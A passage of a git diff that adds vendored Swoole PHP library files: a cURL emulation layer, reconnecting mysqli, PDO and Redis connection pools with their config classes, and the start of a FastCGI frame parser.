CURL_IPRESOLVE_V4' + ); + } + break; + /* + * Ignore options + */ + case CURLOPT_VERBOSE: + // trigger_error(E_USER_WARNING, 'swoole_curl_setopt(): CURLOPT_VERBOSE is not supported'); + case CURLOPT_SSLVERSION: + case CURLOPT_NOSIGNAL: + case CURLOPT_FRESH_CONNECT: + /* + * From PHP 5.1.3, this option has no effect: the raw output will always be returned when CURLOPT_RETURNTRANSFER is used. + */ + case CURLOPT_BINARYTRANSFER: /* TODO */ + case CURLOPT_DNS_USE_GLOBAL_CACHE: + case CURLOPT_DNS_CACHE_TIMEOUT: + case CURLOPT_STDERR: + case CURLOPT_WRITEHEADER: + case CURLOPT_BUFFERSIZE: + case CURLOPT_SSLCERTTYPE: + case CURLOPT_SSLKEYTYPE: + break; + /* + * SSL + */ + case CURLOPT_SSL_VERIFYHOST: + break; + case CURLOPT_SSL_VERIFYPEER: + $this->clientOptions[Constant::OPTION_SSL_VERIFY_PEER] = $value; + break; + case CURLOPT_SSLCERT: + $this->clientOptions[Constant::OPTION_SSL_CERT_FILE] = $value; + break; + case CURLOPT_SSLKEY: + $this->clientOptions[Constant::OPTION_SSL_KEY_FILE] = $value; + break; + case CURLOPT_CAINFO: + $this->clientOptions[Constant::OPTION_SSL_CAFILE] = $value; + break; + case CURLOPT_CAPATH: + $this->clientOptions[Constant::OPTION_SSL_CAPATH] = $value; + break; + /* + * Http POST + */ + case CURLOPT_POST: + $this->method = 'POST'; + break; + case CURLOPT_POSTFIELDS: + $this->postData = $value; + if (!$this->method) { + $this->method = 'POST'; + } + break; + /* + * Upload + */ + case CURLOPT_SAFE_UPLOAD: + if (!$value) { + trigger_error('swoole_curl_setopt(): Disabling safe uploads is no longer supported', E_USER_WARNING); + return false; + } + break; + /* + * Http Header + */ + case CURLOPT_HTTPHEADER: + if (!is_array($value) and !is_iterable($value)) { + trigger_error('swoole_curl_setopt(): You must pass either an object or an array with the CURLOPT_HTTPHEADER argument', E_USER_WARNING); + return false; + } + foreach ($value as $header) { + $header = explode(':', $header, 2); + $headerName = $header[0]; + $headerValue = trim($header[1] ?? ''); + if (strlen($headerValue) === 0) { + continue; + } + $this->headers[$headerName] = $headerValue; + } + break; + case CURLOPT_REFERER: + $this->headers['Referer'] = $value; + break; + case CURLINFO_HEADER_OUT: + $this->withHeaderOut = boolval($value); + break; + case CURLOPT_FILETIME: + $this->withFileTime = boolval($value); + break; + case CURLOPT_USERAGENT: + $this->headers['User-Agent'] = $value; + break; + case CURLOPT_CUSTOMREQUEST: + $this->method = (string) $value; + break; + case CURLOPT_PROTOCOLS: + if (($value & ~(CURLPROTO_HTTP | CURLPROTO_HTTPS)) != 0) { + throw new CurlException("swoole_curl_setopt(): CURLOPT_PROTOCOLS[{$value}] is not supported"); + } + break; + case CURLOPT_REDIR_PROTOCOLS: + if (($value & ~(CURLPROTO_HTTP | CURLPROTO_HTTPS)) != 0) { + throw new CurlException("swoole_curl_setopt(): CURLOPT_REDIR_PROTOCOLS[{$value}] is not supported"); + } + break; + case CURLOPT_HTTP_VERSION: + if ($value != CURL_HTTP_VERSION_1_1) { + trigger_error("swoole_curl_setopt(): CURLOPT_HTTP_VERSION[{$value}] is not supported", E_USER_WARNING); + return false; + } + break; + case CURLOPT_FAILONERROR: + $this->failOnError = $value; + break; + /* + * Http Cookie + */ + case CURLOPT_COOKIE: + $this->headers['Cookie'] = $value; + break; + case CURLOPT_CONNECTTIMEOUT: + $this->clientOptions[Constant::OPTION_CONNECT_TIMEOUT] = $value; + break; + case CURLOPT_CONNECTTIMEOUT_MS: + $this->clientOptions[Constant::OPTION_CONNECT_TIMEOUT] = $value / 1000; + break; + case CURLOPT_TIMEOUT: + $this->clientOptions[Constant::OPTION_TIMEOUT] = $value; + break; + case CURLOPT_TIMEOUT_MS: + $this->clientOptions[Constant::OPTION_TIMEOUT] = $value / 1000; + break; + case CURLOPT_FILE: + $this->outputStream = $value; + break; + case CURLOPT_HEADER: + $this->withHeader = $value; + break; + case CURLOPT_HEADERFUNCTION: + $this->headerFunction = $value; + break; + case CURLOPT_READFUNCTION: + $this->readFunction = $value; + break; + case CURLOPT_WRITEFUNCTION: + $this->writeFunction = $value; + break; + case CURLOPT_PROGRESSFUNCTION: + $this->progressFunction = $value; + break; + case CURLOPT_HTTPAUTH: + if (!($value & CURLAUTH_BASIC)) { + trigger_error("swoole_curl_setopt(): CURLOPT_HTTPAUTH[{$value}] is not supported", E_USER_WARNING); + return false; + } + break; + case CURLOPT_USERPWD: + $this->headers['Authorization'] = 'Basic ' . base64_encode($value); + break; + case CURLOPT_FOLLOWLOCATION: + $this->followLocation = $value; + break; + case CURLOPT_AUTOREFERER: + $this->autoReferer = $value; + break; + case CURLOPT_MAXREDIRS: + $this->maxRedirects = $value; + break; + case CURLOPT_PUT: + case CURLOPT_UPLOAD: + /* after libcurl 7.12, CURLOPT_PUT is replaced by CURLOPT_UPLOAD */ + $this->method = 'PUT'; + break; + case CURLOPT_INFILE: + $this->infile = $value; + break; + case CURLOPT_INFILESIZE: + $this->infileSize = $value; + break; + case CURLOPT_HTTPGET: + /* Since GET is the default, this is only necessary if the request method has been changed. */ + $this->method = 'GET'; + break; + default: + throw new Swoole\Curl\Exception("swoole_curl_setopt(): option[{$opt}] is not supported"); + } + return true; + } + + private function execute() + { + $this->info['redirect_count'] = $this->info['starttransfer_time'] = 0; + $this->info['redirect_url'] = ''; + $timeBegin = microtime(true); + /* + * Socket + */ + if (!$this->urlInfo) { + $this->setError(CURLE_URL_MALFORMAT, 'No URL set or URL using bad/illegal format'); + return false; + } + if (!$this->client) { + $this->create(); + } + do { + $client = $this->client; + /* + * Http Proxy + */ + if ($this->proxy) { + $proxy = explode(':', $this->proxy); + $proxyPort = $proxy[1] ?? $this->proxyPort; + $proxy = $proxy[0]; + if (!filter_var($proxy, FILTER_VALIDATE_IP)) { + $ip = Swoole\Coroutine::gethostbyname($proxy, AF_INET, $this->clientOptions['connect_timeout'] ?? -1); + if (!$ip) { + $this->setError(CURLE_COULDNT_RESOLVE_PROXY, 'Could not resolve proxy: ' . $proxy); + return false; + } + $this->proxy = $proxy = $ip; + } + switch ($this->proxyType) { + case CURLPROXY_HTTP: + $proxyOptions = [ + 'http_proxy_host' => $proxy, + 'http_proxy_port' => $proxyPort, + 'http_proxy_username' => $this->proxyUsername, + 'http_proxy_password' => $this->proxyPassword, + ]; + break; + case CURLPROXY_SOCKS5: + $proxyOptions = [ + 'socks5_host' => $proxy, + 'socks5_port' => $proxyPort, + 'socks5_username' => $this->proxyUsername, + 'socks5_password' => $this->proxyPassword, + ]; + break; + default: + throw new CurlException("Unexpected proxy type [{$this->proxyType}]"); + } + } + /* + * Client Options + */ + $client->set( + $this->clientOptions + + ($proxyOptions ?? []) + ); + /* + * Method + */ + if ($this->method) { + $client->setMethod($this->method); + } + /* + * Data + */ + if ($this->infile) { + // Infile + // Notice: we make its priority higher than postData but raw cURL will send both of them + $data = ''; + while (true) { + $nLength = $this->infileSize - strlen($data); + if ($nLength === 0) { + break; + } + if (feof($this->infile)) { + break; + } + $data .= fread($this->infile, $nLength); + } + $client->setData($data); + // Notice: although we reset it, raw cURL never do this + $this->infile = null; + $this->infileSize = PHP_INT_MAX; + } else { + // POST data + if ($this->postData) { + if (is_string($this->postData)) { + if (empty($this->headers['Content-Type'])) { + $this->headers['Content-Type'] = 'application/x-www-form-urlencoded'; + } + } elseif (is_array($this->postData)) { + foreach ($this->postData as $k => $v) { + if ($v instanceof CURLFile) { + $client->addFile($v->getFilename(), $k, $v->getMimeType() ?: 'application/octet-stream', $v->getPostFilename()); + unset($this->postData[$k]); + } + } + } + } + $client->setData($this->postData); + } + /* + * Headers + */ + // Notice: setHeaders must be placed last, because headers may be changed by other parts + // As much as possible to ensure that Host is the first header. + // See: http://tools.ietf.org/html/rfc7230#section-5.4 + foreach ($this->headers as $headerName => $headerValue) { + if ($headerValue === '') { + // remove empty headers (keep same with raw cURL) + unset($this->headers[$headerName]); + } + } + $client->setHeaders($this->headers); + /** + * Execute. + */ + $executeResult = $client->execute($this->getUrl()); + if (!$executeResult) { + $errCode = $client->errCode; + if ($errCode == SWOOLE_ERROR_DNSLOOKUP_RESOLVE_FAILED or $errCode == SWOOLE_ERROR_DNSLOOKUP_RESOLVE_TIMEOUT) { + $this->setError(CURLE_COULDNT_RESOLVE_HOST, 'Could not resolve host: ' . $client->host); + } else { + $this->setError($errCode, $client->errMsg); + } + $this->info['total_time'] = microtime(true) - $timeBegin; + return false; + } + if ($client->statusCode >= 300 and $client->statusCode < 400 and isset($client->headers['location'])) { + $redirectParsedUrl = $this->getRedirectUrl($client->headers['location']); + $redirectUrl = static::unparseUrl($redirectParsedUrl); + if ($this->followLocation and ($this->maxRedirects === null or $this->info['redirect_count'] < $this->maxRedirects)) { + if ($this->info['redirect_count'] === 0) { + $this->info['starttransfer_time'] = microtime(true) - $timeBegin; + $redirectBeginTime = microtime(true); + } + // force GET + if (in_array($client->statusCode, [Status::MOVED_PERMANENTLY, Status::FOUND, Status::SEE_OTHER])) { + $this->method = 'GET'; + } + if ($this->autoReferer) { + $this->headers['Referer'] = $this->info['url']; + } + $this->setUrl($redirectUrl, false); + $this->setUrlInfo($redirectParsedUrl); + $this->info['redirect_count']++; + } else { + $this->info['redirect_url'] = $redirectUrl; + break; + } + } elseif ($this->failOnError && $client->statusCode >= 400) { + $this->setError(CURLE_HTTP_RETURNED_ERROR, "The requested URL returned error: {$client->statusCode} " . Status::getReasonPhrase($client->statusCode)); + return false; + } else { + break; + } + } while (true); + $this->info['total_time'] = microtime(true) - $timeBegin; + $this->info['http_code'] = $client->statusCode; + $this->info['content_type'] = $client->headers['content-type'] ?? ''; + $this->info['size_download'] = $this->info['download_content_length'] = strlen($client->body); + $this->info['speed_download'] = 1 / $this->info['total_time'] * $this->info['size_download']; + if (isset($redirectBeginTime)) { + $this->info['redirect_time'] = microtime(true) - $redirectBeginTime; + } + + $headerContent = ''; + if ($client->headers) { + $cb = $this->headerFunction; + if ($client->statusCode > 0) { + $row = "HTTP/1.1 {$client->statusCode} " . Status::getReasonPhrase($client->statusCode) . "\r\n"; + if ($cb) { + $cb($this, $row); + } + $headerContent .= $row; + } + foreach ($client->headers as $k => $v) { + $row = "{$k}: {$v}\r\n"; + if ($cb) { + $cb($this, $row); + } + $headerContent .= $row; + } + $headerContent .= "\r\n"; + $this->info['header_size'] = strlen($headerContent); + if ($cb) { + $cb($this, ''); + } + } else { + $this->info['header_size'] = 0; + } + + if ($client->body and $this->readFunction) { + $cb = $this->readFunction; + $cb($this, $this->outputStream, strlen($client->body)); + } + + if ($this->withHeader) { + $transfer = $headerContent . $client->body; + } else { + $transfer = $client->body; + } + + if ($this->withHeaderOut) { + $headerOutContent = $client->getHeaderOut(); + $this->info['request_header'] = $headerOutContent ? $headerOutContent . "\r\n\r\n" : ''; + } + if ($this->withFileTime) { + if (isset($client->headers['last-modified'])) { + $this->info['filetime'] = strtotime($client->headers['last-modified']); + } else { + $this->info['filetime'] = -1; + } + } + + if ($this->returnTransfer) { + return $this->transfer = $transfer; + } + if ($this->outputStream) { + return fwrite($this->outputStream, $transfer) === strlen($transfer); + } + echo $transfer; + + return true; + } + + /* ====== Redirect helper ====== */ + + private static function unparseUrl(array $parsedUrl): string + { + $scheme = ($parsedUrl['scheme'] ?? 'http') . '://'; + $host = $parsedUrl['host'] ?? ''; + $port = isset($parsedUrl['port']) ? ':' . $parsedUrl['port'] : ''; + $user = $parsedUrl['user'] ?? ''; + $pass = isset($parsedUrl['pass']) ? ':' . $parsedUrl['pass'] : ''; + $pass = ($user or $pass) ? "{$pass}@" : ''; + $path = $parsedUrl['path'] ?? ''; + $query = (isset($parsedUrl['query']) and $parsedUrl['query'] !== '') ? '?' . $parsedUrl['query'] : ''; + $fragment = isset($parsedUrl['fragment']) ? '#' . $parsedUrl['fragment'] : ''; + return $scheme . $user . $pass . $host . $port . $path . $query . $fragment; + } + + private function getRedirectUrl(string $location): array + { + $uri = parse_url($location); + if (isset($uri['host'])) { + $redirectUri = $uri; + } else { + if (!isset($location[0])) { + return []; + } + $redirectUri = $this->urlInfo; + $redirectUri['query'] = ''; + if ($location[0] === '/') { + $redirectUri['path'] = $location; + } else { + $path = dirname($redirectUri['path'] ?? ''); + if ($path === '.') { + $path = '/'; + } + if (isset($location[1]) and substr($location, 0, 2) === './') { + $location = substr($location, 2); + } + $redirectUri['path'] = $path . $location; + } + foreach ($uri as $k => $v) { + if (!in_array($k, ['path', 'query'])) { + $redirectUri[$k] = $v; + } + } + } + return $redirectUri; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliConfig.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliConfig.php new file mode 100644 index 0000000..35d7dd6 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliConfig.php @@ -0,0 +1,127 @@ +host; + } + + public function withHost($host): self + { + $this->host = $host; + return $this; + } + + public function getPort(): int + { + return $this->port; + } + + public function getUnixSocket(): string + { + return $this->unixSocket; + } + + public function withUnixSocket(?string $unixSocket): self + { + $this->unixSocket = $unixSocket; + return $this; + } + + public function withPort(int $port): self + { + $this->port = $port; + return $this; + } + + public function getDbname(): string + { + return $this->dbname; + } + + public function withDbname(string $dbname): self + { + $this->dbname = $dbname; + return $this; + } + + public function getCharset(): string + { + return $this->charset; + } + + public function withCharset(string $charset): self + { + $this->charset = $charset; + return $this; + } + + public function getUsername(): string + { + return $this->username; + } + + public function withUsername(string $username): self + { + $this->username = $username; + return $this; + } + + public function getPassword(): string + { + return $this->password; + } + + public function withPassword(string $password): self + { + $this->password = $password; + return $this; + } + + public function getOptions(): array + { + return $this->options; + } + + public function withOptions(array $options): self + { + $this->options = $options; + return $this; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliException.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliException.php new file mode 100644 index 0000000..bcca403 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliException.php @@ -0,0 +1,18 @@ +config = $config; + parent::__construct(function () { + $mysqli = new mysqli(); + foreach ($this->config->getOptions() as $option => $value) { + $mysqli->set_opt($option, $value); + } + $mysqli->real_connect( + $this->config->getHost(), + $this->config->getUsername(), + $this->config->getPassword(), + $this->config->getDbname(), + $this->config->getPort(), + $this->config->getUnixSocket() + ); + if ($mysqli->connect_errno) { + throw new MysqliException($mysqli->connect_error, $mysqli->connect_errno); + } + return $mysqli; + }, $size, MysqliProxy::class); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliProxy.php new file mode 100644 index 0000000..1d4dc73 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliProxy.php @@ -0,0 +1,126 @@ +constructor = $constructor; + } + + public function __call(string $name, array $arguments) + { + for ($n = 3; $n--;) { + $ret = @$this->__object->{$name}(...$arguments); + if ($ret === false) { + /* non-IO method */ + if (!preg_match(static::IO_METHOD_REGEX, $name)) { + break; + } + /* no more chances or non-IO failures */ + if ( + !in_array($this->__object->errno, static::IO_ERRORS, true) || + $n === 0 + ) { + throw new MysqliException($this->__object->error, $this->__object->errno); + } + $this->reconnect(); + continue; + } + if (strcasecmp($name, 'prepare') === 0) { + $ret = new MysqliStatementProxy($ret, $arguments[0], $this); + } elseif (strcasecmp($name, 'stmt_init') === 0) { + $ret = new MysqliStatementProxy($ret, null, $this); + } + break; + } + /* @noinspection PhpUndefinedVariableInspection */ + return $ret; + } + + public function getRound(): int + { + return $this->round; + } + + public function reconnect(): void + { + $constructor = $this->constructor; + parent::__construct($constructor()); + $this->round++; + /* restore context */ + if ($this->charsetContext) { + $this->__object->set_charset($this->charsetContext); + } + if ($this->setOptContext) { + foreach ($this->setOptContext as $opt => $val) { + $this->__object->set_opt($opt, $val); + } + } + if ($this->changeUserContext) { + $this->__object->change_user(...$this->changeUserContext); + } + } + + public function options(int $option, $value): bool + { + $this->setOptContext[$option] = $value; + return $this->__object->options($option, $value); + } + + public function set_opt(int $option, $value): bool + { + return $this->options($option, $value); + } + + public function set_charset(string $charset): bool + { + $this->charsetContext = $charset; + return $this->__object->set_charset($charset); + } + + public function change_user(string $user, string $password, string $database): bool + { + $this->changeUserContext = [$user, $password, $database]; + return $this->__object->change_user($user, $password, $database); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliStatementProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliStatementProxy.php new file mode 100644 index 0000000..9452ea1 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliStatementProxy.php @@ -0,0 +1,114 @@ +queryString = $queryString; + $this->parent = $parent; + $this->parentRound = $parent->getRound(); + } + + public function __call(string $name, array $arguments) + { + for ($n = 3; $n--;) { + $ret = @$this->__object->{$name}(...$arguments); + if ($ret === false) { + /* non-IO method */ + if (!preg_match(static::IO_METHOD_REGEX, $name)) { + break; + } + /* no more chances or non-IO failures or in transaction */ + if ( + !in_array($this->__object->errno, $this->parent::IO_ERRORS, true) || + $n === 0 + ) { + throw new MysqliException($this->__object->error, $this->__object->errno); + } + if ($this->parent->getRound() === $this->parentRound) { + /* if not equal, parent has reconnected */ + $this->parent->reconnect(); + } + $parent = $this->parent->__getObject(); + $this->__object = $this->queryString ? @$parent->prepare($this->queryString) : @$parent->stmt_init(); + if ($this->__object === false) { + throw new MysqliException($parent->error, $parent->errno); + } + if ($this->bindParamContext) { + $this->__object->bind_param($this->bindParamContext[0], ...$this->bindParamContext[1]); + } + if ($this->bindResultContext) { + $this->__object->bind_result($this->bindResultContext); + } + if ($this->attrSetContext) { + foreach ($this->attrSetContext as $attr => $value) { + $this->__object->attr_set($attr, $value); + } + } + continue; + } + if (strcasecmp($name, 'prepare') === 0) { + $this->queryString = $arguments[0]; + } + break; + } + /* @noinspection PhpUndefinedVariableInspection */ + return $ret; + } + + public function attr_set($attr, $mode): bool + { + $this->attrSetContext[$attr] = $mode; + return $this->__object->attr_set($attr, $mode); + } + + public function bind_param($types, &...$arguments): bool + { + $this->bindParamContext = [$types, $arguments]; + return $this->__object->bind_param($types, ...$arguments); + } + + public function bind_result(&...$arguments): bool + { + $this->bindResultContext = $arguments; + return $this->__object->bind_result(...$arguments); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/ObjectProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/ObjectProxy.php new file mode 100644 index 0000000..d978f90 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/ObjectProxy.php @@ -0,0 +1,22 @@ +driver; + } + + public function withDriver(string $driver): self + { + $this->driver = $driver; + return $this; + } + + public function getHost(): string + { + return $this->host; + } + + public function withHost($host): self + { + $this->host = $host; + return $this; + } + + public function getPort(): int + { + return $this->port; + } + + public function hasUnixSocket(): bool + { + return isset($this->unixSocket); + } + + public function getUnixSocket(): string + { + return $this->unixSocket; + } + + public function withUnixSocket(?string $unixSocket): self + { + $this->unixSocket = $unixSocket; + return $this; + } + + public function withPort(int $port): self + { + $this->port = $port; + return $this; + } + + public function getDbname(): string + { + return $this->dbname; + } + + public function withDbname(string $dbname): self + { + $this->dbname = $dbname; + return $this; + } + + public function getCharset(): string + { + return $this->charset; + } + + public function withCharset(string $charset): self + { + $this->charset = $charset; + return $this; + } + + public function getUsername(): string + { + return $this->username; + } + + public function withUsername(string $username): self + { + $this->username = $username; + return $this; + } + + public function getPassword(): string + { + return $this->password; + } + + public function withPassword(string $password): self + { + $this->password = $password; + return $this; + } + + public function getOptions(): array + { + return $this->options; + } + + public function withOptions(array $options): self + { + $this->options = $options; + return $this; + } + + /** + * Returns the list of available drivers + * + * @return string[] + */ + public static function getAvailableDrivers() + { + return [ + self::DRIVER_MYSQL, + ]; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOPool.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOPool.php new file mode 100644 index 0000000..20c8928 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOPool.php @@ -0,0 +1,48 @@ +config = $config; + parent::__construct(function () { + return new PDO( + "{$this->config->getDriver()}:" . + ( + $this->config->hasUnixSocket() ? + "unix_socket={$this->config->getUnixSocket()};" : + "host={$this->config->getHost()};" . "port={$this->config->getPort()};" + ) . + "dbname={$this->config->getDbname()};" . + "charset={$this->config->getCharset()}", + $this->config->getUsername(), + $this->config->getPassword(), + $this->config->getOptions() + ); + }, $size, PDOProxy::class); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOProxy.php new file mode 100644 index 0000000..e79c375 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOProxy.php @@ -0,0 +1,109 @@ +__object->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT); + $this->constructor = $constructor; + } + + public function __call(string $name, array $arguments) + { + for ($n = 3; $n--;) { + $ret = @$this->__object->{$name}(...$arguments); + if ($ret === false) { + /* non-IO method */ + if (!preg_match(static::IO_METHOD_REGEX, $name)) { + break; + } + $errorInfo = $this->__object->errorInfo(); + /* no more chances or non-IO failures */ + if ( + !in_array($errorInfo[1], static::IO_ERRORS, true) || + $n === 0 || + $this->__object->inTransaction() + ) { + $exception = new PDOException($errorInfo[2], $errorInfo[1]); + $exception->errorInfo = $errorInfo; + throw $exception; + } + $this->reconnect(); + continue; + } + if ( + strcasecmp($name, 'prepare') === 0 || + strcasecmp($name, 'query') === 0 + ) { + $ret = new PDOStatementProxy($ret, $this); + } + break; + } + /* @noinspection PhpUndefinedVariableInspection */ + return $ret; + } + + public function getRound(): int + { + return $this->round; + } + + public function reconnect(): void + { + $constructor = $this->constructor; + parent::__construct($constructor()); + $this->round++; + /* restore context */ + if ($this->setAttributeContext) { + foreach ($this->setAttributeContext as $attribute => $value) { + $this->__object->setAttribute($attribute, $value); + } + } + } + + public function setAttribute(int $attribute, $value): bool + { + $this->setAttributeContext[$attribute] = $value; + return $this->__object->setAttribute($attribute, $value); + } + + public function inTransaction(): bool + { + return $this->__object->inTransaction(); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOStatementProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOStatementProxy.php new file mode 100644 index 0000000..68f86b8 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOStatementProxy.php @@ -0,0 +1,150 @@ +parent = $parent; + $this->parentRound = $parent->getRound(); + } + + public function __call(string $name, array $arguments) + { + for ($n = 3; $n--;) { + $ret = @$this->__object->{$name}(...$arguments); + if ($ret === false) { + /* no IO */ + if (strtolower($name) !== 'execute') { + break; + } + /* no more chances or non-IO failures or in transaction */ + if ( + !in_array($this->__object->errorInfo()[1], $this->parent::IO_ERRORS, true) || + $n === 0 || + $this->parent->inTransaction() + ) { + $errorInfo = $this->__object->errorInfo(); + + // '00000' means “no error.”, as specified by ANSI SQL and ODBC. + if ($errorInfo[0] !== '00000') { + $exception = new PDOException($errorInfo[2], $errorInfo[1]); + $exception->errorInfo = $errorInfo; + throw $exception; + } + } + if ($this->parent->getRound() === $this->parentRound) { + /* if not equal, parent has reconnected */ + $this->parent->reconnect(); + } + $parent = $this->parent->__getObject(); + $this->__object = $parent->prepare($this->__object->queryString); + if ($this->__object === false) { + $errorInfo = $parent->errorInfo(); + $exception = new PDOException($errorInfo[2], $errorInfo[1]); + $exception->errorInfo = $errorInfo; + throw $exception; + } + if ($this->setAttributeContext) { + foreach ($this->setAttributeContext as $attribute => $value) { + $this->__object->setAttribute($attribute, $value); + } + } + if ($this->setFetchModeContext) { + $this->__object->setFetchMode(...$this->setFetchModeContext); + } + if ($this->bindParamContext) { + foreach ($this->bindParamContext as $param => $item) { + $this->__object->bindParam($param, ...$item); + } + } + if ($this->bindColumnContext) { + foreach ($this->bindColumnContext as $column => $item) { + $this->__object->bindColumn($column, ...$item); + } + } + if ($this->bindValueContext) { + foreach ($this->bindValueContext as $value => $item) { + $this->__object->bindParam($value, ...$item); + } + } + continue; + } + break; + } + /* @noinspection PhpUndefinedVariableInspection */ + return $ret; + } + + public function setAttribute(int $attribute, $value): bool + { + $this->setAttributeContext[$attribute] = $value; + return $this->__object->setAttribute($attribute, $value); + } + + public function setFetchMode(int $mode, $classNameObject = null, array $ctorarfg = []): bool + { + $this->setFetchModeContext = [$mode, $classNameObject, $ctorarfg]; + if (!isset($classNameObject)) { + return $this->__object->setFetchMode($mode); + } + return $this->__object->setFetchMode($mode, $classNameObject, $ctorarfg); + } + + public function bindParam($parameter, &$variable, $data_type = PDO::PARAM_STR, $length = null, $driver_options = null): bool + { + $this->bindParamContext[$parameter] = [$variable, $data_type, $length, $driver_options]; + return $this->__object->bindParam($parameter, $variable, $data_type, $length, $driver_options); + } + + public function bindColumn($column, &$param, $type = null, $maxlen = null, $driverdata = null): bool + { + $this->bindColumnContext[$column] = [$param, $type, $maxlen, $driverdata]; + return $this->__object->bindColumn($column, $param, $type, $maxlen, $driverdata); + } + + public function bindValue($parameter, $value, $data_type = PDO::PARAM_STR): bool + { + $this->bindValueContext[$parameter] = [$value, $data_type]; + return $this->__object->bindValue($parameter, $value, $data_type); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisConfig.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisConfig.php new file mode 100644 index 0000000..645d715 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisConfig.php @@ -0,0 +1,127 @@ +host; + } + + public function withHost($host): self + { + $this->host = $host; + return $this; + } + + public function getPort(): int + { + return $this->port; + } + + public function withPort(int $port): self + { + $this->port = $port; + return $this; + } + + public function getTimeout(): float + { + return $this->timeout; + } + + public function withTimeout(float $timeout): self + { + $this->timeout = $timeout; + return $this; + } + + public function getReserved(): string + { + return $this->reserved; + } + + public function withReserved(string $reserved): self + { + $this->reserved = $reserved; + return $this; + } + + public function getRetryInterval(): int + { + return $this->retry_interval; + } + + public function withRetryInterval(int $retry_interval): self + { + $this->retry_interval = $retry_interval; + return $this; + } + + public function getReadTimeout(): float + { + return $this->read_timeout; + } + + public function withReadTimeout(float $read_timeout): self + { + $this->read_timeout = $read_timeout; + return $this; + } + + public function getAuth(): string + { + return $this->auth; + } + + public function withAuth(string $auth): self + { + $this->auth = $auth; + return $this; + } + + public function getDbIndex(): int + { + return $this->dbIndex; + } + + public function withDbIndex(int $dbIndex): self + { + $this->dbIndex = $dbIndex; + return $this; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisPool.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisPool.php new file mode 100644 index 0000000..f409927 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisPool.php @@ -0,0 +1,57 @@ +config = $config; + parent::__construct(function () { + $redis = new Redis(); + /* Compatible with different versions of Redis extension as much as possible */ + $arguments = [ + $this->config->getHost(), + $this->config->getPort(), + ]; + if ($this->config->getTimeout() !== 0.0) { + $arguments[] = $this->config->getTimeout(); + } + if ($this->config->getRetryInterval() !== 0) { + /* reserved should always be NULL */ + $arguments[] = null; + $arguments[] = $this->config->getRetryInterval(); + } + if ($this->config->getReadTimeout() !== 0.0) { + $arguments[] = $this->config->getReadTimeout(); + } + $redis->connect(...$arguments); + if ($this->config->getAuth()) { + $redis->auth($this->config->getAuth()); + } + if ($this->config->getDbIndex() !== 0) { + $redis->select($this->config->getDbIndex()); + } + return $redis; + }, $size); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Exception/ArrayKeyNotExists.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Exception/ArrayKeyNotExists.php new file mode 100644 index 0000000..95b2a58 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Exception/ArrayKeyNotExists.php @@ -0,0 +1,16 @@ + FastCGI\Record\BeginRequest::class, + FastCGI::ABORT_REQUEST => FastCGI\Record\AbortRequest::class, + FastCGI::END_REQUEST => FastCGI\Record\EndRequest::class, + FastCGI::PARAMS => FastCGI\Record\Params::class, + FastCGI::STDIN => FastCGI\Record\Stdin::class, + FastCGI::STDOUT => FastCGI\Record\Stdout::class, + FastCGI::STDERR => FastCGI\Record\Stderr::class, + FastCGI::DATA => FastCGI\Record\Data::class, + FastCGI::GET_VALUES => FastCGI\Record\GetValues::class, + FastCGI::GET_VALUES_RESULT => FastCGI\Record\GetValuesResult::class, + FastCGI::UNKNOWN_TYPE => FastCGI\Record\UnknownType::class, + ]; + + /** + * Checks if the buffer contains a valid frame to parse + * + * @param string $buffer Binary buffer + */ + public static function hasFrame(string $buffer): bool + { + $bufferLength = strlen($buffer); + if ($bufferLength < FastCGI::HEADER_LEN) { + return false; + } + + $fastInfo = unpack(FastCGI::HEADER_FORMAT, $buffer); + if ($bufferLength < FastCGI::HEADER_LEN + $fastInfo['contentLength'] + $fastInfo['paddingLength']) { + return false; + } + + return true; + } + + /** + * Parses a frame from the binary buffer + * + * @param string $buffer Binary buffer + * + * @return Record One of the corresponding FastCGI record + */ + public static function parseFrame(string &$buffer): Record + { + $bufferLength = strlen($buffer); + if ($bufferLength < FastCGI::HEADER_LEN) { + throw new RuntimeException('Not enough data in the buffer to parse'); + } + $recordHeader = unpack(FastCGI::HEADER_FORMAT, 